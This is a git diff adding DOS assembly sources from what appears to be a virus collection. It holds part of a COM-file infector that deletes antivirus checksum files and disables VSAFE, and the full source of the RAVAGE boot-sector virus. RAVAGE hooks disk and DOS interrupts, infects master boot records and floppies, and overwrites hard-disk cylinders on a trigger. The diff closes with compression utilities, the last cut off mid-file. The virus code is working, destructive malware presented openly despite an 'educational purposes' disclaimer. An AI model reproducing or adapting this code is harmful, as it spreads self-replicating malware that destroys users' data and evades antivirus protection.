+ MOVSW ; + MOV DX,WORD PTR[BP+OFFSET NP]; + LEA DI,WORD PTR[BP+OFFSET NEWNAM]; + MOV AH,56h ;Rename file function. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RENAME2:LEA SI,[BP+OFFSET SPEC+1] ; In this section we + MOV DI,WORD PTR[BP+OFFSET TXTPOI]; give the infected file + MOVSW ; its old extention back. + MOVSW ; (*.COM) + MOV DX,WORD PTR[BP+OFFSET NP]; + LEA DI,WORD PTR[BP+OFFSET NEWNAM]; + MOV AH,56h ;Rename file function. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +ENKEY: CALL CHKTIME ;Get time. + MOV BYTE PTR[BP+OFFSET VAL_1],DL;New encryption key. + RET ;Return to caller. +;----------------------------------------------------------------------------- +SAVEDIR:MOV BYTE PTR[BP+OFFSET BUFFER],5Ch; + MOV DL,BYTE PTR[BP+OFFSET OLDRV];Drive code. + INC DL ;DL=DL+1 as func 47 is different. + MOV AH,47h ;Get current directory. + LEA SI,[BP+OFFSET BUFFER+1] ;Store current directory. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +DTA: MOV AH,2Fh ;Get DTA address. + INT 21h ;Call DOS. + MOV WORD PTR[BP+OFFSET OLD_DTA],BX; Save here. + LEA DX,[BP+OFFSET NEW_DTA] ;Offset new DTA address. + MOV AH,1Ah ;Give up new DTA. + INT 21 ;Call DOS. + ADD DX,1Eh ;Filename pointer in DTA. + MOV WORD PTR[BP+OFFSET NP],DX;Put in name pointer. + RET ;Return to caller. +;----------------------------------------------------------------------------- +INT24: MOV AX,3524h ;Get int 24 handler. + INT 21h ;into [ES:BX]. + MOV WORD PTR[BP+OLDINT],BX ;Save it. + MOV WORD PTR[BP+OLDINT+2],ES; + MOV AH,25h ;Set new int 24 handler. + LEA DX,[BP+OFFSET NEWINT] ;DS:DX->new handler. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RINT24: PUSH DS ;Save data segment. + MOV AX,2524h ;Restore int 24 handler + LDS DX,[BP+OFFSET OLDINT] ;to original. + INT 21h ;Call DOS. + POP DS ;Restore data segment. + RET ;Return to caller. +;--------------------------------------------------------------------------- +RINTD0: PUSH DS ;Save data segment. + MOV AX,25D0h ;Restore int D0 handler + LDS DX,[BP+OFFSET INTD0] ;to original. + INT 21h ;Call DOS. + POP DS ;Restore data segment. + RET ;Return to caller. +;----------------------------------------------------------------------------- +VSAFE: MOV AX,3516h ;Get interrupt vector INT 16. + INT 21h ;(Now we know in wich segment it is.) + ADD BX,0364h ;Here we find a jump that we'll change. + CMP WORD PTR[ES:BX],0945h ;Is it THE jump? + JNE OK_9 ;No, already modified or not resident. + MOV WORD PTR[ES:BX],086Dh ;Yes, modify it. +OK_9: RET ;Return to caller. No Vsafe. +;----------------------------------------------------------------------------- +FIND1: MOV BYTE PTR[BP+OFFSET VAL_2],0FFh; This routine is derived from + MOV BX,01h ; the VIENNA virus. (Why invent the +FIND2: PUSH ES ; wheel twice?) + PUSH DS ;- Save registers. + MOV ES,DS:2CH ; + MOV DI,0 ;ES:DI points to environment. +FPATH: LEA SI,[BP+OFFSET PATH] ;Point to "PATH=" string in data area. + LODSB ; + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long. + REPNZ SCASB ;Search for first character. + MOV CX,4 ;Check if path +LOOP_2: LODSB ;is complete. + SCASB ; + JNZ FPATH ;If not all there, abort & start over. + LOOP LOOP_2 ;Loop to check the next character. + XCHG SI,DI ;Exchange registers. + MOV CL,BYTE PTR[BP+OFFSET VAL_2];Random value in CL. + PUSH ES ;\ + POP DS ;-) Get DS, ES on address. + POP ES ;/ +OK_14: LEA DI,[BP+OFFSET NEW_DTA+50];Offset address path. +OK_10: MOVSB ;Get name in path. + MOV AL,[SI] ; + CMP AL,0 ;Is it at the end? + JE OK_11 ;Yes, replicate. + CMP AL,3Bh ;Is it ';'? + JNE OK_10 ;Nope, next letter. + INC SI ;For next loop. ';'=';'+1. + INC BX ; + LOOP OK_14 ;Loop until random value = 0. +OK_11: POP DS ;Restore data segment. + MOV AL,0 ;Place space after the directory. + MOV [DI],AL ; + RET ;Return to caller. +;----------------------------------------------------------------------------- +DELSTUF:MOV BX,01h ;Set counter + PUSH BX ;and push it. + LEA DX,[BP+OFFSET MICRO] ;Is there a CHKLIST.MS file? + JMP INTER ;Check it out. +SECOND: LEA DX,[BP+OFFSET TBAV] ;Is there a ANTI-VIR.DAT file? + INC BX ;Increase counter + PUSH BX ;and push it. + JMP INTER ;Check it out. +THIRD: LEA DX,[BP+OFFSET CENTRAL] ;Is there a CHKLIST.CPS file? + INC BX ;Increase counter + PUSH BX ;and push it +INTER: MOV AH,4Eh ;Find first matching entry. + MOV CX,110b ;Search all attributes. + INT 21h ;Call DOS. + JC NODEL ;No match, find next. + CALL ATTRIB ;Clear attributes. + MOV AH,41h ;Delete file. + INT 21h ;Call DOS. +NODEL: POP BX ;Pop counter. + CMP BX,01 ;Had the first one? + JE SECOND ;Yes, do the second. + CMP BX,02 ;Was it the second? + JE THIRD ;Yes, do the third. + RET ;Finished, return to caller. +;----------------------------------------------------------------------------- +CHDRIVE:MOV CX,0FFFFh ;Clear CX. + MOV BL,'A'-1 ;AH=40 +OK_15: INC BL ;AH=41='A' + INC CX ;CX=1 + CMP BL,BYTE PTR[BP+OFFSET NEW_DTA+50];New drive letter. + JNE OK_15 ;Not the same, go again. + MOV DL,CL ;Calculated the new drive code. + MOV AH,0Eh ;Give up new drive code. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RTIME: MOV AX,5701h ;Restore time & date. + MOV CX,WORD PTR[BP+OFFSET TIME];Old time. + MOV DX,WORD PTR[BP+OFFSET DATE];Old date. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +STIME: MOV AX,5700h ;Get file date & time. + MOV BX,[BP+OFFSET HANDLE] ;File Handle. + INT 21h ;Call DOS. + MOV WORD PTR[BP+OFFSET TIME],CX;Store time. + MOV WORD PTR[BP+OFFSET DATE],DX;Store date. + RET ;Return to caller. +;----------------------------------------------------------------------------- +BPOINT: XOR DX,DX ;Zero register. + MOV AX,4202h ;Move file pointer to top. + XOR CX,CX ;Zero register. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +ATTRIB: MOV DX,WORD PTR[BP+OFFSET NP];Offset in DTA. + MOV AX,4300h ;Ask file attributes. + INT 21h ;Call DOS. + LEA BX,[BP+OFFSET ATTR] ;Save address for old attributes. + MOV [BX],CX ;Save it. + XOR CX,CX ;Clear file attributes. + MOV AX,4301h ;Write file attributes. + INT 21h ;Call DOS. + JNC OK ;No error, proceed. + CALL EXIT ;Oh Oh, error occured. Quit. +OK: RET ;Return to caller. +;----------------------------------------------------------------------------- +RATTRIB:LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT) + LEA BX,[BP+OFFSET ATTR] ;Offset address old attributes. + MOV CX,[BX] ;Into CX. + MOV AX,4301h ;Write old values back. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +GODIR: LEA DX,[BP+OFFSET NEW_DTA+52];Offset directory spec. + MOV AH,3Bh ;Goto the directory. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RANDOM: CALL CHKTIME ;Get system time. + MOV CX,0 ;Figure this out by yourself. + MOV AX,100d ;It is a random generator with +OK_19: INC CX ;two variable inputs. + SUB AX,BX ;A: How many dir's in the path. + CMP AX,01d ;B: Random system time. + JGE OK_19 ;With this values, we create a + XOR BX,BX ;random value between 1 and A. +OK_20: INC BX ; + SUB DL,CL ; + CMP DL,01d ; + JGE OK_20 ; + MOV BYTE PTR[BP+OFFSET VAL_2],BL;Save value. + RET ;Return to caller. +;----------------------------------------------------------------------------- +BEGIN1: PUSH SP ; + POP BX ;Everything is related to BP. + MOV BP,WORD PTR[BX] ; + SUB BP,0145h ;In first run BP=0 + RET ; +;----------------------------------------------------------------------------- +NEWINT: MOV AL,03h ;New INT 24. + IRET ;No more write protect errors! +;----------------------------------------------------------------------------- +INSTSR2:PUSH ES ;-Save registers. + PUSH DS ;/ + MOV AX,0DEDEh ;Resident check. + INT 21h ;Call DOS. + CMP AH,41h ;\ + JNE NOBRO ;-Little Brother virus in memory? + CALL EXIT4 ;If resisent, do nothing. +NOBRO: MOV AX,3D3Dh ;Resident check. + INT 21h ;Call DOS. + CMP AX,1111h ;\ + JNE NOGETP ;-Getpass! virus resident ?. + CALL EXIT4 ;If resident, quit. +NOGETP: MOV AX,35D0h ;Save old interrupt vector INT D0. + INT 21h ;Call DOS. + MOV WORD PTR[BP+OFFSET INTD0],BX + MOV WORD PTR[BP+OFFSET INTD0+2],ES + MOV AX,0044h ; + MOV ES,AX ; + MOV DI,0100h ; + LEA SI,[BP+OFFSET INFECT] ;Offset address infection routine. + MOV CX,TSR2LEN ;Length to install. + REP MOVSB ;Install it. + PUSH ES ; + POP DS ; + MOV AX,25D0h ;Give up new INT D0 vector. + MOV DX,0100h ; + INT 21h ;Call DOS. + POP DS ; + POP ES ; + RET ;Return to caller. +;----------------------------------------------------------------------------- +PATH DB 'PATH=' ;Used to find environment. +SPEC DB '*.COM',0 ;File search specification. +TXT DB '.TXT',0 ;Rename file specification. +OUTPUT DB 0 ;Output byte to printer. +TXTPOI DW 0 ;Pointer in specification. +MARK1 DB 0 ;Used for infection check. +VAL_2 DB 0 ;Random value for directory switching. +OLDRV DB 0 ;Old drive code. +BEGIN2 DW 0 ; +NWJMP1 DB 0EBh,0 ; +FLAGT DB 0 ; +COMMND DB 'COMM',0 ; +MICRO DB 'CHKLIST.MS',0 ;- Files to be deleted. +CENTRAL DB 'CHKLIST.CPS',0 ;/ +TBAV DB 'ANTI-VIR.DAT',0 ;/ +VIRNAME DB ' Wrong copied DNA = Evolution ' + DB ' I am Life.' + DB ' Greetings ,ThE wEiRd GeNiUs ' +OLD_DTA DW 0 ;Old DTA addres. +HANDLE DW 0 ;File handle. +COMSIGN DB 0 ;Command.com flag +TIME DB 2 DUP (?) ;File time. +DATE DB 2 DUP (?) ;File date. +ATTR DB 1 DUP (?),0 ;Attributes. +INTD0 DW 0,0 ; +NEWJMP DB 0E9h,0,0 ;Jump replacement. +ORIGNL DB 0CDh,020h,090h ;Original instrucitons. +DEXIT DB 0CDh,020h,090h ;Dummy exit instructions. +NEWNAM DB 0Dh DUP (?) ;New file name. +OLDINT DW 0 ;Old INT 24 vector. +NP DW ? ;New DTA address. +;----------------------------------------------------------------------------- +INFECT: PUSH BX ;Save file handle. + PUSH DX ;Save encryption key. + PUSH BX ;Save file handle. + CALL DNCRYPT ;Encrypt the virus code. + POP BX ;Restore file handle. + LEA DX,[BP+OFFSET VSTART] ;Begin here. + MOV CX,VIRLEN ;Write this many Bytes. + MOV AH,40h ;Write to file. + INT 21h ;Call DOS. + POP DX ;Restore encryption value. + CALL DNCRYPT ;Fix up the mess. + POP BX ;Restore file handle. +DUMMY: IRET ;Return to caller. +;----------------------------------------------------------------------------- +DNCRYPT:LEA BX,[BP+OFFSET CSTART] ;De/en-crypt from here. + MOV DH,DL ; + MOV CX,CRYPTLEN ;Set counter. +Y_LOOP: XOR [BX],DL ;Xor the code on address BX. + SUB DL,DH ;-To change form of scrambled code. + SUB DH,02Eh ;/ + INC BX ;Increase address. + LOOP Y_LOOP ;Repeat until done. +NOTENC: RET ;Return to caller. +;----------------------------------------------------------------------------- +BUFFER: DB 64 DUP (?) ;Here we store directory info. +;----------------------------------------------------------------------------- +NEW_DTA: ;Here we put the DTA copy. +;----------------------------------------------------------------------------- +CODE ENDS +END START +;============================================================================= diff --git a/d/Dodgy.asm b/d/Dodgy.asm new file mode 100755 index 0000000..d927b85 --- /dev/null +++ b/d/Dodgy.asm @@ -0,0 +1,572 @@ +; RAVAGE BSV Written by RP & muRPhy October 1996 +; version 9.0 [ New Generation ] -- WIN95 compatible :-) +; +;Replicator module (c) 1994-96 RP, Bucharest +;Tips & tricks (c) 1995-96 muRPhy, Bucharest +;Final version full options Warning!!! Distructive sequence included! + +;This source code is for educational purposes only. The author is not +;responsible for any problems caused due to the assembly of this file" + + +.286 +code segment +assume cs:code +org 100h +start: +q db 7b00h dup(90h) +timer equ 08h + + jmp begin +bootrecord db 32 dup(0) ;min=32 + + +;............. Entry point .............................. +begin: + push cs + + mov di,414h; steal 1k of RAM + pop ds + mov byte ptr ds:[04a1h],0eah ;pun cod de jmp xxxx:xxxx pt INT 40H + dec di ;added code for jmp xxxx:xxxx for INT 40H + dec ds:word ptr[di] + mov ax,ds:word ptr[di] + shl ax,6 ;only >80186 + sub ax,07c0h + push ax + push ax +;....................................................... + mov ax,0201h; read the other sector of the virus + push cs + pop es + mov bx,7e00h + mov cx,000fh +cxpar equ this word + mov dx,0080h +dxpar equ this word + int 13h + + mov word ptr ds:[offset temp-2],609Ch ;refac cod de pushf pusha + ;restoring code for pushf pusha +; mov bx,0100h ;get original INT 40H + mov bh,01 ;bl already 00 from bx=7e00 + les ax,[bx] + mov ds:[int40seg],es ;store original INT 40H + mov ds:[int40ofs],ax + +;....................................................... + pop ax + mov bx,04a2h ;prepare code at 0:4a1h for jmp xxxx:xxxx + mov [bx],offset int40 + mov word ptr [bx+02],ax + + mov bx,004ch; get & corrupt int 13h + xchg ds:[bx+2],ax + mov ds:[int13seg],ax + mov ax,offset int13 + xchg ds:[bx],ax + mov ds:[int13ofs],ax +;....................................................... + pop es + mov si,7c00h; transfer virus code + mov di,si + cld + xor cx,cx + mov ch,02 ;anti TBAV flag O + rep movsw + + cli + mov ax,es ;get & corrupt INT 08H +; mov bx,timer*4 + mov bl,timer*4 ;bh already 00 from bx=004ch + xchg ds:[bx+2],ax + mov es:[int08seg],ax + mov ax,offset int08 + xchg ds:[bx],ax + mov es:[int08ofs],ax + + mov ax,0201h ; fast boot infector sequence + mov dx,0080h + inc cx + int 13h + + call testziuaz ; is it trash day ? + cmp dx,0303h +ziuaz equ this word + jnz boot + + jmp entry +boot: + int 19h +;------------------- int 40h + +jmpint40: + db 0eah +int40ofs dw 0 +int40seg dw 0 + +;----------------- Corrupted entry in INT 40H +int40: + cmp ah,02h + jnz jmpint40 + cmp cx,0001 + jnz jmpint40 + or dh,dh + jnz jmpint40 + call disketa + jmp short verificare + + +;................. jmp int 13 ............................ +jmpint13: + db 0eah; jmp xxxx:xxxx +int13ofs dw 0 +int13seg dw 0 +;........................................................... +cmp03: + cmp ah,03 + jne jmpint13 + cmp dl,80h + jb jmpint13 + jmp short contcmp + + +;........................................................... + +int13: ; FAR PROCEDURE FOR HANDLING INTERRUPT 13H + cmp ah,02h + jnz cmp03 +;--- + cmp dl,80h ;pe HDD + jb contcmp + or dh,dh ;head 0? + jnz contcmp + cmp cx,000eh ;se redirecteaza 14 si 15 pe 13 presupus cu zerouri + jz fak ;sau cu orice altceva + cmp cx,000fh ;show instead of sectors 14 and 15 , sector 13 + jnz contcmp ;sector 13 supposed zeroed or whatever + ;not quite good implemented but works anyway +fak: + mov cl,0dh + jmp jmpint13 +;--- +contcmp: + cmp cx,0001 + jnz jmpint13 + or dh,dh; <=> cmp dh,00 + jnz jmpint13 + + cmp dl,80h + jae hard + call disketa + jmp short verificare +hard: + call callint13; it was requested a read action for the boot +verificare: + jc giveup + cmp es:word ptr[bx+1bch],0202h; is it infected? + jz showboot + call compute + mov ax,0301h; write real boot on computed sector + call callint13 + jnc continue +clearerr: + clc +giveup: + retf 0002 +showboot: + call compute + mov ax,0201h + call callint13 + jmp short giveup +;------------------------- +continue: + push es + push bx + push cs + pop es + mov ax,0301h; write the other sector of the virus + inc cx + mov cs:[offset cxpar-2],cx + mov cs:[offset dxpar-2],dx + mov bx,7e00h + call callint13 + pop bx + pop es + jc clearerr + + push es + push bx + push ds + push si + push di + + push es + pop ds + push cs + pop es + + mov si,bx + add si,1beh; copy the partition into the virus code + mov di,7dbeh + mov cl,21h + cld + rep movsw + mov si,bx; copy the boot record into the virus code + add si,3 + mov di,7c03h + mov cl,16 + rep movsw + + + cmp dl,80h + jb normal + +;----- + pusha + + mov ah,05; bypass BIOS protection;place Y into keyboard buffer. + mov cl,59h + int 16h + call resetcmosflag + inc cs:word ptr [counter] + call testziuaz + mov al,dh + cmp al,09h + ja maimare ;"maimare " means "greater than" + add al,12h ;in Romanian language, of course... + daa +maimare: + sub al,09h + das + mov dh,al + mov cs:word ptr [offset ziuaz-2],dx + + popa +;----- + +normal: + inc cx ;salvez cx=0000 cu pusha dupa rep movsw =>cx=0001 + ;cx=0000 saved by pusha after rep movsw =>cx=0001 +iar: + mov ax,0301h; write the virus onto the disk + mov bx,7c00h + xor dh,dh + call callint13 + jc iar + call resetkeyboard +afar: + pop di + pop si + pop ds + pop bx + pop es + jmp giveup + +disketa: + pushf + call cs:dword ptr [int40ofs] + ret + + + +counter dw 0 +virsign dw 0202h +partition1 db 80h,01h,01,00,06,0eh,201,231,11h,0,0,0,07,228,03,00 + ;take care (this is my partition) + ;you'll have to change this with yours +db 30h dup (0) +db 55h,0aah + +;............ Second sector .............................. + +int2f: ;FAR PROCEDURE FOR HANDLING INTERRUPT 2FH + pushf + pusha + push ds + push es + + xor bx,bx + mov ds,bx + mov bx,07b4h + cmp ax,1605h ;is it Init Windows ? + jne cont2f + mov ax,cs:[int13ofs] ;restore original handler of INT 13H + mov ds:[bx],ax + mov ds:[bx+0806h-07b4h],ax + mov ax,cs:[int13seg] + mov ds:[bx+2],ax + mov ds:[bx+2+0806h-07b4h],ax + + mov ah,62h ;Get Active PSP segment + int 21h + mov ds,bx + mov ax,ds:[002ch] ;Get environment segment + mov es,ax + xor di,di + cld + mov cx,0050h + mov al,'o' + repnz scasb + cmp es:[di],'to' ; winbootdir? + jnz jmpint2f + + add di,+06 + push es + pop ds + mov dl,ds:[di] + sub dl,'C'-2 + mov ah,0eh + int 21h + + push di + pop dx + mov ah,3bh ;Change Directory to folder of WIN95 + int 21h ; + ; apelul windows de genul: + ; win setup.exe nu se va realiza cum trebuie + ; + ;I guess if someone'll run something like + ;win setup.exe worse things'll happen + ;doesn't matter anyway (few of them will + ;run win in this way) + push cs + pop ds + mov ah,41h ; Unlink ds:dx + mov dx,offset floppydriver + int 21h ;ideal ar fi sa nu dea eroare AX=1606h + ;here I suppose AX will differ from 1606h + ;more than that...I'm sure AX <> 1606h +cont2f: + cmp ax,1606h ;is it Exit Windows? + jne jmpint2f + mov ax,offset int13 ;corrupt again handler of INT 13H + mov ds:[bx],ax + mov ds:[bx+0806h-07b4h],ax + mov ds:[bx+2],cs + mov ds:[bx+2+0806h-07b4h],cs + + cmp byte ptr ds:[04a6h],0DAH ;is flag set ? + jz entry + +jmpint2f: + pop es + pop ds + popa + popf + db 0eah; jmp xxxx:xxxx +int2fofs dw 0 +int2fseg dw 0 +;---------------------------------- +entry: + push cs + pop ds + mov si,offset txt-1 +video: + mov ax,0010h + int 10h + mov ah,0eh + mov bl,0ah +repeta: + std + lodsb + cmp al,'$' + jz distroi + int 10h + jmp short repeta +distroi: + mov cx,0001h +destroyagain: + mov ax,030eh + mov dx,0180h + call callint13 + call resetcmosflag + in al,21h ;disable keyboard + or al,02 + out 21h,al + + inc ch + jnz destroyagain ; + add cl,40h ;for all existing cylinders > 256 + jmp short destroyagain + + +;..........................INT 21H +int21: + pushf + pusha + push ds + push es + mov di,dx + xor ah,4bh + jnz oldint21 + push ds + pop es + xor al,al + cld + mov cl,0ffh + repnz scasb + std + mov al,'\' + repnz scasb + mov ax,ds:[di+02] + and ax,0dfdfh + cmp ax,'AR' + jnz oldint21 + mov ah,ds:[di+04] + and ah,0dfh + cmp ah,'V' + jnz oldint21 + mov al,01 + out 70h,al + in al,71h + cmp al,126 ;max value for counter + jne ravnormal + + mov ax,1600h ;checking Win active + int 2fh + or al,al + jz entry ;al=0 means Win not active + xor ax,ax + mov ds,ax + mov byte ptr ds:[04a6h],0DAh ;set flag on low memory + jmp short oldint21 + + + +;------------------------ +ravnormal: + inc ax + push ax + mov al,01 + out 70h,al + pop ax + out 71h,al +oldint21: + pop es + pop ds + popa + popf +db 0eah; JMP xxxx:xxxx +int21ofs dw 0 +int21seg dw 0 +;............... INT 08H ....................................... +int08: + pushf + pusha +temp equ this word + push es + push ds + xor di,di ;DI=0000h + mov ds,di ;DS=0000h + mov ax,0b8ah + mov es,ax + cld + mov ax,'EP' + mov cx,0ffffh ;"cautare" means "searching" + ;for those of you who don't speak + ; Romanian language ;-) +cautare: + repnz scasw + or cx,cx + jz notyet + cmp es:[di],'=C' + jnz cautare + + push cs + pop ax ; ax =residseg + mov di,02fh*4 ;Save segment INT 2Fh + xchg [di+02],ax ;Corrupt segment 2FH + mov cs:[int2fseg],ax + + mov ax,offset int2f ;Save & corrupt offset INT 2FH + xchg [di],ax + mov cs:[int2fofs],ax + + push cs + pop ax + mov di,021h*4 ;Save segment INT 21h + xchg [di+02],ax ;Corrupt segment 21H + mov cs:[int21seg],ax + + mov ax,offset int21 ;Save & corrupt offset INT 21H + xchg [di],ax + mov cs:[int21ofs],ax + + + ;Command.com alocat + inc word ptr ds:[0413h] ;refac la 0:413h + ;restoring 0:413h + mov bx,0100h + mov word ptr ds:[bx],04a1h ;corrupt INT 40 to point 0:04a1h + mov word ptr ds:[bx+02],0 ;to a jmp far code + + + + mov word ptr cs:[offset temp-2],[(offset peste)-(offset temp)] shl 8+ 0ebh + ; dezactiveaza rutina de pe system timer (INT 08H) + ; disabling (handler) routine for INT 08H +notyet: + pop ds + pop es + popa + popf +peste equ this word + db 0eah +int08ofs dw 0 +int08seg dw 0 + + +floppydriver db 'system\iosubsys\hsflop.pdr',0 + +testziuaz: + mov ah,04 + int 1ah + cmp dl,28h + jbe nochange + mov dl,28h +nochange: + ret + + + +callint13: + pushf + call cs:dword ptr[int13ofs] + ret + +resetcmosflag: + mov al,01 + out 70h,al + mov al,100 ;set counter in CMOS for RAV + out 71h,al ; RAV stands for Romanian AntiVirus + ret ;an AV prog from ROMANIA + + +compute: + mov cl,14 + cmp dl,80h + jae back + mov dh,1 + mov al,es:byte ptr[bx+15h] + cmp al,240; f0h 1.44 disk + je back + mov cl,3 +back: + ret +resetkeyboard: + cmp dl,80h + jb nu + xor bx,bx + mov ds,bx + mov bl,1eh + mov ds:[041ah],bx + mov ds:[041ch],bx +nu: + ret +; '$RAVage is wiping data! RP&muRPhy ' +text db '$yhPRum&PR !atad gnipiw si egaVAR' +txt equ this word +code ends +end start + muRPhy (c)96 diff --git a/e/E1.ASM b/e/E1.ASM new file mode 100755 index 0000000..c32bb6f --- /dev/null +++ b/e/E1.ASM @@ -0,0 +1,106 @@ +code segment + assume cs:code, ds:code + org 100h + +asc2 equ asc + 128 + +prog: + + mov ax,cs + add ax,1000h + mov es,ax + mov si,0100h + mov di,si + mov cx,5000h + rep movsb + mov word ptr [next+2],es + jmp dword ptr [next] + +next db 1dh,1,0,0 + +part2: + push ds + pop es + push cs + pop ds + + mov di,offset asc + 128 + sub bx,bx +k10: mov [bx][di],bl + inc bl + jnz k10 + mov si,offset asc +k20: mov bl,[si] + mov byte ptr [bx][di],0 + inc si + cmp si,di + jne k20 + dec di + mov cx,128 +k30: inc di + cmp byte ptr [di],0 + je k30 + mov al,[di] + mov [si],al + inc si + loop k30 + + mov bx,50ffh + mov di,bx + mov cl,0 +l10: mov ah,[di] + mov al,[di-1] + mov si,ax + sub ax,ax + mov dl,6 + shl si,cl + mov ch,cl + mov cl,12 + shl si,1 + jnc l20 + mov al,64 + dec cx + dec cx + inc dx + inc dx + shl si,1 + jnc l30 + shl ax,1 + dec cx + inc dx + jmp short l30 +l20: shl si,1 + jnc l30 + inc dx + mov al,16 + shl si,1 + jnc l30 + shl ax,1 + dec cx + inc dx +l30: shr si,cl + add si,ax + mov al,asc[si] + mov es:[bx],al + mov cl,dl + add cl,ch +l40: cmp cl,8 + jc l50 + sub cl,8 + dec di + jmp short l40 +l50: dec bx + cmp bx,00ffh + jne l10 + + mov [next],0 + mov word ptr [next+2],es + jmp dword ptr [next] + +asc db ? + +last label byte +code ends + end prog + + \ No newline at end of file diff --git a/e/E2.ASM b/e/E2.ASM new file mode 100755 index 0000000..0681234 --- /dev/null +++ b/e/E2.ASM @@ -0,0 +1,254 @@ +code segment + assume cs:code, ds:code, es:code + org 100h +prog: + jmp main + +asc db 256 dup (0) +lll dw ? +tbl dw 256 dup (0) +cod db 256 dup (0) +len db 256 dup (0) +dat db 0,10,16,9,64,8,64,8,0,7 +fn1 db 'te.com',0 +fn2 db 'sup.com',0 +fn3 db 'e1.com',0 + +main: + + call read + call build + call uha + call good + call write + + mov al,00h + mov ah,4ch + int 21h + +good proc near + mov ax,cs + mov ds,ax + mov si,offset asc + mov di,179 + mov cx,130 + rep movsb + + mov dx,offset fn3 + mov al,00h + mov ah,3dh + int 21h + jc ssr + mov bx,ax + mov ax,es + mov ds,ax + sub dx,dx + mov cx,179 + mov ah,3fh + int 21h + jc ssr + mov ah,3eh + int 21h + mov ax,cs + mov ds,ax +ssr: ret +good endp + +uha proc near + mov ax,cs + add ax,1000h + mov ds,ax + add ax,1000h + mov es,ax + mov bx,4fffh + mov di,bx + mov ch,0 + sub bp,bp +lu10: sub ax,ax + mov al,[bx] + mov si,ax + mov al,cs:cod[si] + mov dl,cs:len[si] + mov cl,dl + cmp dl,7 + jne lu20 + inc ah +lu20: sub cl,ch + shl ax,cl + or bp,ax + add ch,16 + sub ch,dl + mov cl,8 +lu30: cmp ch,cl + jc lu40 + mov ax,bp + shl bp,cl + mov es:[di],ah + dec di + sub ch,cl + jmp short lu30 +lu40: dec bx + cmp bx,0ffffh + jne lu10 + mov ax,bp + mov es:[di],ah + mov lll,di + mov ah,0 +lu50: dec di + mov es:[di],ah + cmp di,0 + jne lu50 + ret +uha endp + +fill proc near + sub si,si + mov cx,0100h +lf10: mov ax,si + mov cs:asc[si],al + inc si + loop lf10 + sub bx,bx + mov cx,5000h +lf20: mov al,[bx] + mov si,ax + shl si,1 + inc cs:tbl[si] + inc bx + loop lf20 + ret +fill endp + +pause proc near + push ax + mov ah,01h + int 21h + pop ax + ret +pause endp + +sort proc near + mov cx,00ffh +l10: mov di,cx + mov bx,cx + shl bx,1 + add bx,offset tbl + sub ax,ax +l20: mov si,ax + shl si,1 + mov dx,tbl[si] + cmp dx,[bx] + jnc l30 + xchg dx,[bx] + xchg dx,tbl[si] + shr si,1 + mov dl,asc[si] + xchg dl,asc[di] + xchg dl,asc[si] +l30: inc ax + cmp ax,cx + jc l20 + loop l10 + + mov di,offset asc + 128 + sub bx,bx +k10: mov [bx][di],bl + inc bl + jnz k10 + mov si,offset asc +k20: mov bl,[si] + mov byte ptr [bx][di],0 + inc si + cmp si,di + jne k20 + dec di + mov cx,128 +k30: inc di + cmp byte ptr [di],0 + je k30 + mov al,[di] + mov [si],al + inc si + loop k30 + + + ret +sort endp + +make proc near + mov cx,16 + mov bx,offset dat + sub si,si + sub ax,ax +lm10: mov al,asc[si] + mov di,ax + mov dx,si + add dl,[bx] + mov cod[di],dl + mov dl,[bx+1] + mov len[di],dl + inc si + cmp si,cx + jnz lm10 + inc bx + inc bx + shl cx,1 + cmp cx,512 + jnz lm10 + ret +make endp + +build proc near + call fill + mov ax,cs + mov ds,ax + call sort + call make + ret +build endp + +write proc near + mov dx,offset fn2 + mov al,02h + mov ah,3dh + int 21h + jc sw + mov bx,ax + mov ax,es + mov ds,ax + sub dx,dx + mov cx,5000h + mov ah,40h + int 21h + jc sw + mov ah,3eh + int 21h +sw: ret +write endp + +read proc near + mov dx,offset fn1 + mov al,00h + mov ah,3dh + int 21h + jc sr + mov bx,ax + mov ax,ds + add ax,1000h + mov ds,ax + sub dx,dx + mov cx,5000h + mov ah,3fh + int 21h + jc sr + mov ah,3eh + int 21h +sr: ret +read endp + + +last label byte +code ends + end prog + + \ No newline at end of file diff --git a/e/E22.ASM b/e/E22.ASM new file mode 100755 index 0000000..0bba92c --- /dev/null +++ b/e/E22.ASM @@ -0,0 +1,290 @@ +code segment + assume cs:code, ds:code, es:code + org 100h +prog: + jmp main + +asc db 256 dup (0) +lll dw ? +tbl dw 256 dup (0) +cod db 256 dup (0) +len db 256 dup (0) +dat db 0,10,16,9,64,8,64,8,0,7 +fn1 db 'te.com',0 +fn2 db 'sup.com',0 +fn3 db 'e1.com',0 +fn4 db 'dat.dat',0 +main: + + call read + call build + call uha + call good + call write + + mov al,00h + mov ah,4ch + int 21h + +good proc near + mov ax,cs + mov ds,ax + mov si,offset asc + mov di,179 + mov cx,130 + rep movsb + + mov dx,offset fn3 + mov al,00h + mov ah,3dh + int 21h + jc ssr + mov bx,ax + mov ax,es + mov ds,ax + sub dx,dx + mov cx,179 + mov ah,3fh + int 21h + jc ssr + mov ah,3eh + int 21h + mov ax,cs + mov ds,ax +ssr: ret +good endp + +uha proc near + mov ax,cs + add ax,1000h + mov ds,ax + add ax,1000h + mov es,ax + mov bx,4fffh + mov di,bx + mov ch,0 + sub bp,bp +lu10: sub ax,ax + mov al,[bx] + mov si,ax + mov al,cs:cod[si] + mov dl,cs:len[si] + mov cl,dl + cmp dl,7 + jne lu20 + inc ah +lu20: sub cl,ch + shl ax,cl + or bp,ax + add ch,16 + sub ch,dl + mov cl,8 +lu30: cmp ch,cl + jc lu40 + mov ax,bp + shl bp,cl + mov es:[di],ah + dec di + sub ch,cl + jmp short lu30 +lu40: dec bx + cmp bx,0ffffh + jne lu10 + mov ax,bp + mov es:[di],ah + mov lll,di + mov ah,0 +lu50: dec di + mov es:[di],ah + cmp di,0 + jne lu50 + ret +uha endp + +fill proc near + sub si,si + 